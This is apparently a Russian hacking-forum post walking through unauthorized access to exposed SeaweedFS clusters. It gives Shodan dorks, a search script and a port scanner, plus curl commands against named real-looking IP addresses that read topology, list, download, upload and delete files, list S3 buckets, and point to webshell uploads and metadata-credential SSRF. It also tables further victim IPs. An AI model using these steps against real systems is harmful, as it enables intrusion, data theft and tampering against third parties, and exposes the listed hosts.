LIMB
Вход Регистрация

тема

SeaweedFS: Прям как дома, но в гостях

error3XX · · 0 ответов · 639 просмотров

Не удалось прогрузить медиа



Всем привет. Я тут смотрел какую то фигню в инете, и вдруг наткнулся на кое-что интересное и решил поделиться. Речь пойдёт про SeaweedFS - распределённое файловое хранилище, которое используют для ML-артефактов, CDN, бэкапов и прочего. 34 тысячи звёзд на шитхабе, вроде солидный проект.

Вот на днях вышла новость - CVE-2026-73080, unauthenticated SSRF через gRPC. CVSS 9.3, звучит страшно. Но я покопался и оказалось что самое интересное даже не сам CVE, а то что эти кластеры лежат в открытом доступе целиком.

Для тех кто не в курсе что такое SeaweedFS - представьте себе такое хранилище файлов, которое размазано по нескольким серверам. Есть Master (главный сервер, рулит всем), Volume Server (тут лежат сами файлы) и Filer (это типа файлового менеджера, через который можно ходить по файлам). И вот представьте что кто-то выложил весь этот зоопарк в интернет и забыл закрыть дверь. Вот про это и будет статья.

Шодан, любимый наш шодан
Всё как обычно, Shodan. У SeaweedFS есть характерные признаки - заголовок SeaweedFS 30GB в HTML, путь /seaweedfsstatic/ для статики, дефолтные порты.

Дорки для поиска:

Code:
http.html:"seaweedfs"
http.html:"seaweedfsstatic"
http.html:"SeaweedFS" "30GB"

Через CLI:

Bash:
shodan search 'http.html:"seaweedfs"' --fields ip_str,port,org,country_code --limit 100

Ну или по класике питон:

Python:
import requests, sys

key = sys.argv[1]

for dork in ['http.html:"seaweedfs"', 'http.html:"seaweedfsstatic"', 'http.html:"SeaweedFS" "30GB"']:
    r = requests.get('https://api.shodan.io/shodan/host/search',
        params={'key': key, 'query': dork, 'limit': 100}, timeout=20).json()
    for m in r.get('matches', []):
        print('%s:%s %s' % (m['ip_str'], m['port'], m.get('location', {}).get('country_name', '')))


Не удалось прогрузить медиа


Результат: 300+ хостов по всему миру. Китай, Германия, США, Франция, Вьетнам... Из них примерно 150 на старых версиях (до 4.24), но версия тут не главное.

Выбираем таргет: 103.171.92.153, Вьетнам, версия 3.65. Сразу проверяем:

Bash:
curl -s http://103.171.92.153:9333/cluster/status

Не удалось прогрузить медиа


JSON:
{"IsLeader":true,"Leader":"master:9333","MaxVolumeId":482387}

Работает. MaxVolumeId: 482387 почти полмиллиона томов.

Смотрим что нам отдаёт Master
Master Server (порт 9333) - это мозг кластера. И он отдаёт всю внутреннюю структуру без пароля.

Bash:
curl -s http://103.171.92.153:9333/dir/status | jq

Не удалось прогрузить медиа



JSON:
{
  "Topology": {
    "DataCenters": [{
      "Racks": [{
        "DataNodes": [{
          "Url": "172.19.0.3:8080",
          "PublicUrl": "http://localhost:8000",
          "Volumes": 125
        }]
      }]
    }]
  }
}

Оп, internal IP утёк - 172.19.0.3:8080. Это Docker-сеть, один запрос и мы уже знаем внутреннюю структуру. Причём Master ещё и подскажет куда записывать:

Bash:
curl -s http://103.171.92.153:9333/dir/assign

Не удалось прогрузить медиа


Спасибо, Master, очень любезно.

Но это ещё не всё. SeaweedFS - это не один порт, а целый зоопарк сервисов. Давай глянем что ещё открыто на этом хосте:

Вот простой скриптик:

Python:
import socket, sys
sys.stdout.reconfigure(encoding='utf-8')
ip = '103.171.92.153'
print('Скан портов %s:' % ip)
for port in [9333,9334,18080,19333,19334,19335,8080,8081,8443,8888,8889,8890,3000,8000,443,80,22,8080,8333,9000,9001]:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(2)
    if s.connect_ex((ip, port)) == 0:
        print('  %d OPEN' % port)
    s.close()

Не удалось прогрузить медиа


Можно конечно юзануть nmap, но так то все спеки можно в тырнете найти.

Примерно так получается

Дефолтные порты SeaweedFS:
  • 9333 - Master (HTTP API, рулит кластером)
  • 19333 - Master gRPC
  • 8080 - Volume Server (HTTP, тут сами файлы)
  • 18080/19334 - Volume Server gRPC
  • 8888 - Filer (файловый менеджер, самое вкусное)
  • 8333 - S3 API (если включён)

У нас открыто почти всё. Идём смотреть Filer.

А вот и самое вкусное - Filer

Порт 8888. Filer - это файловый менеджер. Полный доступ к всей файловой системе кластера.

Смотрим что в корне:

Bash:
python -c "import requests; [print(e['FullPath']) for e in requests.get('http://103.171.92.153:8888/', headers={'Accept':'application/json'}).json()['Entries']]"

Не удалось прогрузить медиа



И тут начинается самое интересное. В корне лежат:

Code:
/admin/uploads.php
/api/auth
/api/content/
/api/v2
/app
/buckets/SDK
/buckets/_users
/cgi-bin/
/dashboard/
/fileserver/
/wp-admin/
/wp-content/
...

PHP файлы, API endpoints, S3 buckets, WordPress директории. Кто-то использует SeaweedFS как файловый сервер для своего сайта. Прям кек

Читаем любой файл:

Bash:
curl -s http://103.171.92.153:8888/nanyakejitoxiang.png -o img.png

163KB картинка, скачалась без проблем.

Не удалось прогрузить медиа



А теперь записываем свой файл:

Bash:
curl -X POST http://103.171.92.153:8888/test.txt -F "[email protected]"

Не удалось прогрузить медиа


Смотрим:

Не удалось прогрузить медиа


Работает. Удаляем:

Bash:
curl -X DELETE http://103.171.92.153:8888/test.txt

Тоже работает. *Полный CRUD на файловой системе. Если файлы сервируются веб-сервером (а PHP в корне намекает), то загрузка webshell = RCE. Но статья не об этом...

Volume Server - ещё одна открытая дверь
Помнишь, Master нам отдал publicUrl: http://localhost:8000? Volume Server крутится не только внутри Docker. На порту 8000 он тоже открыт наружу:

Bash:
curl -s http://103.171.92.153:8000/status

Не удалось прогрузить медиа


JSON:
{"DiskStatuses":[{"dir":"/data","all":549242011648,"used":447366258688,"free":101875752960,"percent_used":81.45}],"Version":"8000GB 3.65 0edc5aad9"}

549 гигов диска, 447 занято (81%). Версия подтвердилась - 3.65. Через Volume Server можно напрямую читать и записывать файлы, минуя Filer.

И на сладкое - S3 API на порту 8333:

Bash:
curl -s http://103.171.92.153:8333/

Не удалось прогрузить медиа


XML:
<ListAllMyBucketsResult>
  <Buckets>
    <Bucket>
      <CreationDate>2024-05...

S3 buckets в открытом доступе. Если приложение хранит там приватные данные - все читается.

А что же CVE?

Теперь честно про CVE-2026-73080. Уязвимость в gRPC RPC FetchAndWriteNeedle - он принимает URL, скачивает данные и записывает в local needle. До версии 4.24 нет авторизации и нет валидации адреса. Можно указать 169.254.169.254 (cloud metadata) и прочитать IAM credentials.

Звучит мощно. Но я попробовал на нескольких хостах - gRPC порты volume server'ов закрыты. Просканировал:

ХостHTTP (8080)gRPC (19334)74.207.232.252openclosed159.203.170.211openclosed31.128.41.154openclosed103.49.70.236openclosed

gRPC слушает только на internal IP (Docker-сеть). Для эксплуатации нужен доступ из внутренней сети или другой foothold.

Вывод: CVE реальный, но на практике главный вектор - не SSRF, а открытый Filer. Если прям поискать то получишь тысячи хостов с полным доступом к файлам. Один curl и ты внутри.

## Что нашли по миру

Просканировали 300+ хостов. Выборка:

IPСтранаЧто открыто103.171.92.153VietnamMaster + Filer34.158.169.249USA (GCP)Master152.53.80.115USAMaster74.207.232.252USAMaster + VS + Filer116.172.92.3ChinaMaster103.49.70.236IndiaMaster + VS + Filer95.229.156.61ItalyMaster

[th width="25.1732%"]
MaxVolumeId

[/th]
[td width="25.1732%"]
482387

[/td]
[td width="25.1732%"]
326817

[/td]
[td width="25.1732%"]
348942

[/td]
[td width="25.1732%"]
-

[/td]
[td width="25.1732%"]
63419

[/td]
[td width="25.1732%"]
-

[/td]
[td width="25.1732%"]
235654

[/td]​


Internal IP утекают через /dir/status на всех. Docker сети, K8s pods, GCP instances  - вся внутренняя карта.

Вот такая история. 300+ кластеров в открытом доступе, полдня работы, ноль паролей. Самое смешное - для всего этого даже CVE не нужен. Просто открытый порт и один curl.

Не болейте, закрывайте порты.

З.Ы. Оказывается что можно просто открыть сам айпишник в браузере :P

IP:8888


Не удалось прогрузить медиа
👍50 ❤️7 🔥11 👏7 🤔7 😢9

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.